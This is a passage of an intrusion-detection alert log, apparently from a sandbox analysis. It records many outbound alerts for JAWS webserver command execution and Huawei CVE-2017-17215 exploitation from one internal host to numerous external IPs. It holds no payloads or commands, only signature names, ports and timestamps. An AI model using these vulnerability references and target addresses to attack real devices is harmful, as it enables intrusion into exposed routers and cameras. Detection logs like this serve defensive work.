Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 44.198.86.185

Timestamp:	192.168.2.2344.198.86.18552226802030092 03/05/23-19:06:35.534678
SID:	2030092
Source Port:	52226
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.224.184

Timestamp:	192.168.2.23197.193.224.18434056372152835222 03/05/23-19:06:36.308523
SID:	2835222
Source Port:	34056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 124.111.218.195

Timestamp:	192.168.2.23124.111.218.19535788802030092 03/05/23-19:06:00.497520
SID:	2030092
Source Port:	35788
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 44.224.94.184

Timestamp:	192.168.2.2344.224.94.18449044802030092 03/05/23-19:06:22.940172
SID:	2030092
Source Port:	49044
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.163.66.86

Timestamp:	192.168.2.23156.163.66.8646678372152835222 03/05/23-19:06:54.848793
SID:	2835222
Source Port:	46678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 141.94.78.62

Timestamp:	192.168.2.23141.94.78.6256946802030092 03/05/23-19:05:46.903773
SID:	2030092
Source Port:	56946
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.100.98

Timestamp:	192.168.2.23156.235.100.9844690372152835222 03/05/23-19:05:58.844359
SID:	2835222
Source Port:	44690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.162.89.24

Timestamp:	192.168.2.23156.162.89.2448422372152835222 03/05/23-19:07:01.646329
SID:	2835222
Source Port:	48422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.90.245.112

Timestamp:	192.168.2.2354.90.245.11253780802030092 03/05/23-19:06:48.998335
SID:	2030092
Source Port:	53780
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.27.115.202

Timestamp:	192.168.2.23104.27.115.20253420802030092 03/05/23-19:06:53.413996
SID:	2030092
Source Port:	53420
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 39.104.168.139

Timestamp:	192.168.2.2339.104.168.13947134802030092 03/05/23-19:06:44.105714
SID:	2030092
Source Port:	47134
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 67.207.79.28

Timestamp:	192.168.2.2367.207.79.2851180802030092 03/05/23-19:06:58.878035
SID:	2030092
Source Port:	51180
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.65.240.242

Timestamp:	192.168.2.2323.65.240.24249796802030092 03/05/23-19:05:30.881303
SID:	2030092
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.239.71.109

Timestamp:	192.168.2.2313.239.71.10955704802030092 03/05/23-19:06:53.856287
SID:	2030092
Source Port:	55704
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.149.228

Timestamp:	192.168.2.23197.196.149.22850366372152835222 03/05/23-19:06:00.088800
SID:	2835222
Source Port:	50366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.192.71.143

Timestamp:	192.168.2.2323.192.71.14353404802030092 03/05/23-19:06:35.321099
SID:	2030092
Source Port:	53404
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.38.167.86

Timestamp:	192.168.2.2323.38.167.8660098802030092 03/05/23-19:06:53.872245
SID:	2030092
Source Port:	60098
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.105.195.57

Timestamp:	192.168.2.2352.105.195.5759778802030092 03/05/23-19:05:52.938654
SID:	2030092
Source Port:	59778
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 190.211.243.159

Timestamp:	192.168.2.23190.211.243.15942304802030092 03/05/23-19:07:24.875773
SID:	2030092
Source Port:	42304
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 130.93.111.36

Timestamp:	192.168.2.23130.93.111.3659910802030092 03/05/23-19:05:57.744307
SID:	2030092
Source Port:	59910
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 14.241.251.29

Timestamp:	192.168.2.2314.241.251.2957526802030092 03/05/23-19:06:25.106490
SID:	2030092
Source Port:	57526
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 112.47.34.145

Timestamp:	192.168.2.23112.47.34.14559156802030092 03/05/23-19:06:20.318681
SID:	2030092
Source Port:	59156
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.210.136.148

Timestamp:	192.168.2.2362.210.136.14843828802030092 03/05/23-19:06:04.733841
SID:	2030092
Source Port:	43828
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 81.99.154.7

Timestamp:	192.168.2.2381.99.154.736998802030092 03/05/23-19:07:13.246528
SID:	2030092
Source Port:	36998
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.84.193.124

Timestamp:	192.168.2.23184.84.193.12456946802030092 03/05/23-19:06:54.023190
SID:	2030092
Source Port:	56946
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 204.232.226.108

Timestamp:	192.168.2.23204.232.226.10851386802030092 03/05/23-19:05:36.706332
SID:	2030092
Source Port:	51386
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.56.156

Timestamp:	192.168.2.23197.193.56.15655160372152835222 03/05/23-19:06:28.111320
SID:	2835222
Source Port:	55160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 151.239.247.198

Timestamp:	192.168.2.23151.239.247.19860262802030092 03/05/23-19:05:57.782351
SID:	2030092
Source Port:	60262
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 139.144.5.152

Timestamp:	192.168.2.23139.144.5.15234524802030092 03/05/23-19:07:09.077012
SID:	2030092
Source Port:	34524
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.30.44.161

Timestamp:	192.168.2.2346.30.44.16139056802030092 03/05/23-19:06:43.846772
SID:	2030092
Source Port:	39056
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.247.134.10

Timestamp:	192.168.2.23172.247.134.1047224802030092 03/05/23-19:07:03.477999
SID:	2030092
Source Port:	47224
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.24.80.239

Timestamp:	192.168.2.2389.24.80.23933550802030092 03/05/23-19:05:24.737611
SID:	2030092
Source Port:	33550
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.163.120.31

Timestamp:	192.168.2.23156.163.120.3156064372152835222 03/05/23-19:06:50.776299
SID:	2835222
Source Port:	56064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 143.92.148.97

Timestamp:	192.168.2.23143.92.148.9746012802030092 03/05/23-19:05:27.477808
SID:	2030092
Source Port:	46012
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.207.16.92

Timestamp:	192.168.2.2338.207.16.9234584802030092 03/05/23-19:05:36.979741
SID:	2030092
Source Port:	34584
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.163.56.140

Timestamp:	192.168.2.23156.163.56.14034342372152835222 03/05/23-19:05:26.762650
SID:	2835222
Source Port:	34342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.50.134

Timestamp:	192.168.2.2341.153.50.13458010372152835222 03/05/23-19:05:35.106040
SID:	2835222
Source Port:	58010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 125.164.113.250

Timestamp:	192.168.2.23125.164.113.25059864802030092 03/05/23-19:06:07.016456
SID:	2030092
Source Port:	59864
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.202.1.90

Timestamp:	192.168.2.2323.202.1.9033098802030092 03/05/23-19:07:13.921096
SID:	2030092
Source Port:	33098
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 119.97.134.7

Timestamp:	192.168.2.23119.97.134.734270802030092 03/05/23-19:06:47.031328
SID:	2030092
Source Port:	34270
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.49.180.26

Timestamp:	192.168.2.2323.49.180.2654874802030092 03/05/23-19:06:48.434270
SID:	2030092
Source Port:	54874
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.224.117.91

Timestamp:	192.168.2.2334.224.117.9158148802030092 03/05/23-19:06:36.896571
SID:	2030092
Source Port:	58148
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 61.147.124.186

Timestamp:	192.168.2.2361.147.124.18651492802030092 03/05/23-19:07:06.221465
SID:	2030092
Source Port:	51492
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 61.39.32.10

Timestamp:	192.168.2.2361.39.32.1037998802030092 03/05/23-19:05:47.341185
SID:	2030092
Source Port:	37998
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.72.182

Timestamp:	192.168.2.23197.195.72.18254360372152835222 03/05/23-19:06:39.710280
SID:	2835222
Source Port:	54360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.67.165.190

Timestamp:	192.168.2.23156.67.165.19056496372152835222 03/05/23-19:06:43.024428
SID:	2835222
Source Port:	56496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.108.244

Timestamp:	192.168.2.23156.235.108.24456114372152835222 03/05/23-19:06:27.612080
SID:	2835222
Source Port:	56114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.67.212.23

Timestamp:	192.168.2.23172.67.212.2335270802030092 03/05/23-19:05:44.917969
SID:	2030092
Source Port:	35270
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 188.39.77.56

Timestamp:	192.168.2.23188.39.77.5655766802030092 03/05/23-19:06:14.564813
SID:	2030092
Source Port:	55766
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 162.144.95.48

Timestamp:	192.168.2.23162.144.95.4858938802030092 03/05/23-19:07:18.866182
SID:	2030092
Source Port:	58938
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.13.111

Timestamp:	192.168.2.23197.195.13.11146166372152835222 03/05/23-19:05:48.148635
SID:	2835222
Source Port:	46166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.152.73.140

Timestamp:	192.168.2.2341.152.73.14048220802030092 03/05/23-19:05:52.719633
SID:	2030092
Source Port:	48220
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 78.47.101.227

Timestamp:	192.168.2.2378.47.101.22737788802030092 03/05/23-19:06:19.674337
SID:	2030092
Source Port:	37788
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 131.204.110.15

Timestamp:	192.168.2.23131.204.110.1558168802030092 03/05/23-19:05:36.699747
SID:	2030092
Source Port:	58168
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 210.134.179.45

Timestamp:	192.168.2.23210.134.179.4543750802030092 03/05/23-19:05:47.399033
SID:	2030092
Source Port:	43750
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.217.213

Timestamp:	192.168.2.2341.153.217.21357516372152835222 03/05/23-19:06:31.831390
SID:	2835222
Source Port:	57516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.219.63.55

Timestamp:	192.168.2.2323.219.63.5551466802030092 03/05/23-19:05:49.266122
SID:	2030092
Source Port:	51466
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 93.113.30.50

Timestamp:	192.168.2.2393.113.30.5049048802030092 03/05/23-19:05:55.747088
SID:	2030092
Source Port:	49048
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 116.62.142.85

Timestamp:	192.168.2.23116.62.142.8536642802030092 03/05/23-19:07:03.534574
SID:	2030092
Source Port:	36642
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 213.139.85.249

Timestamp:	192.168.2.23213.139.85.24938894802030092 03/05/23-19:06:35.281367
SID:	2030092
Source Port:	38894
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.208.183.51

Timestamp:	192.168.2.23185.208.183.5134144802030092 03/05/23-19:05:47.096106
SID:	2030092
Source Port:	34144
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.108.33.171

Timestamp:	192.168.2.23104.108.33.17143576802030092 03/05/23-19:05:52.714746
SID:	2030092
Source Port:	43576
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.245.69.51

Timestamp:	192.168.2.23103.245.69.5152162802030092 03/05/23-19:07:22.329165
SID:	2030092
Source Port:	52162
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.101.72

Timestamp:	192.168.2.23156.235.101.7244404372152835222 03/05/23-19:05:37.510666
SID:	2835222
Source Port:	44404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.77.188.169

Timestamp:	192.168.2.2351.77.188.16949602802030092 03/05/23-19:06:04.486182
SID:	2030092
Source Port:	49602
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 37.16.21.154

Timestamp:	192.168.2.2337.16.21.15437236802030092 03/05/23-19:05:46.875733
SID:	2030092
Source Port:	37236
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.44.176

Timestamp:	192.168.2.23156.254.44.17645030372152835222 03/05/23-19:06:31.762237
SID:	2835222
Source Port:	45030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.239.44.142

Timestamp:	192.168.2.2313.239.44.14259996802030092 03/05/23-19:07:13.532082
SID:	2030092
Source Port:	59996
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 174.85.180.187

Timestamp:	192.168.2.23174.85.180.18759040802030092 03/05/23-19:07:18.875182
SID:	2030092
Source Port:	59040
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.157.61.241

Timestamp:	192.168.2.2320.157.61.24136744802030092 03/05/23-19:06:04.876831
SID:	2030092
Source Port:	36744
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.63.204

Timestamp:	192.168.2.23197.193.63.20451008372152835222 03/05/23-19:07:09.645705
SID:	2835222
Source Port:	51008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.163.38.129

Timestamp:	192.168.2.23156.163.38.12945642372152835222 03/05/23-19:06:25.241316
SID:	2835222
Source Port:	45642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.209.195.24

Timestamp:	192.168.2.23104.209.195.2442794802030092 03/05/23-19:06:22.930469
SID:	2030092
Source Port:	42794
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.220.91.202

Timestamp:	192.168.2.23154.220.91.20236918802030092 03/05/23-19:06:47.047465
SID:	2030092
Source Port:	36918
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.110.86.187

Timestamp:	192.168.2.2347.110.86.18755820802030092 03/05/23-19:06:20.202004
SID:	2030092
Source Port:	55820
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 66.176.225.77

Timestamp:	192.168.2.2366.176.225.7737108802030092 03/05/23-19:07:01.090768
SID:	2030092
Source Port:	37108
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.165.159.231

Timestamp:	192.168.2.2318.165.159.23133502802030092 03/05/23-19:05:27.302130
SID:	2030092
Source Port:	33502
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 157.205.192.8

Timestamp:	192.168.2.23157.205.192.860888802030092 03/05/23-19:07:09.279465
SID:	2030092
Source Port:	60888
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.64.150.250

Timestamp:	192.168.2.2323.64.150.25049598802030092 03/05/23-19:07:05.316713
SID:	2030092
Source Port:	49598
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 71.85.143.199

Timestamp:	192.168.2.2371.85.143.19948266802030092 03/05/23-19:07:08.664302
SID:	2030092
Source Port:	48266
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.164.249.69

Timestamp:	192.168.2.23156.164.249.6940550372152835222 03/05/23-19:06:34.123412
SID:	2835222
Source Port:	40550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.34.240.165

Timestamp:	192.168.2.2338.34.240.16548856802030092 03/05/23-19:06:46.816934
SID:	2030092
Source Port:	48856
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 143.204.29.189

Timestamp:	192.168.2.23143.204.29.18940042802030092 03/05/23-19:05:51.061103
SID:	2030092
Source Port:	40042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.155.78.59

Timestamp:	192.168.2.2335.155.78.5944692802030092 03/05/23-19:06:26.735708
SID:	2030092
Source Port:	44692
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 115.73.215.186

Timestamp:	192.168.2.23115.73.215.18643742802030092 03/05/23-19:05:53.258023
SID:	2030092
Source Port:	43742
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.53.17

Timestamp:	192.168.2.23156.254.53.1760248372152835222 03/05/23-19:07:19.934937
SID:	2835222
Source Port:	60248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.224.232.123

Timestamp:	192.168.2.2318.224.232.12346300802030092 03/05/23-19:06:17.455236
SID:	2030092
Source Port:	46300
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.86.79.122

Timestamp:	192.168.2.2395.86.79.12239666802030092 03/05/23-19:06:06.891453
SID:	2030092
Source Port:	39666
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 188.242.73.21

Timestamp:	192.168.2.23188.242.73.2142406802030092 03/05/23-19:06:17.353576
SID:	2030092
Source Port:	42406
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 119.97.134.7

Timestamp:	192.168.2.23119.97.134.734324802030092 03/05/23-19:06:48.582380
SID:	2030092
Source Port:	34324
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.152.210.215

Timestamp:	192.168.2.23212.152.210.21546440802030092 03/05/23-19:07:05.906929
SID:	2030092
Source Port:	46440
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 157.255.71.38

Timestamp:	192.168.2.23157.255.71.3843618802030092 03/05/23-19:05:51.303436
SID:	2030092
Source Port:	43618
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.39.28.15

Timestamp:	192.168.2.23197.39.28.1543866372152835222 03/05/23-19:06:09.176241
SID:	2835222
Source Port:	43866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.206.113.29

Timestamp:	192.168.2.23154.206.113.2934482802030092 03/05/23-19:06:50.912340
SID:	2030092
Source Port:	34482
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 141.11.235.103

Timestamp:	192.168.2.23141.11.235.10341006802030092 03/05/23-19:06:58.348662
SID:	2030092
Source Port:	41006
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 44.202.230.35

Timestamp:	192.168.2.2344.202.230.3550536802030092 03/05/23-19:06:29.489899
SID:	2030092
Source Port:	50536
Destination Port:	80
Protocol:	TCP
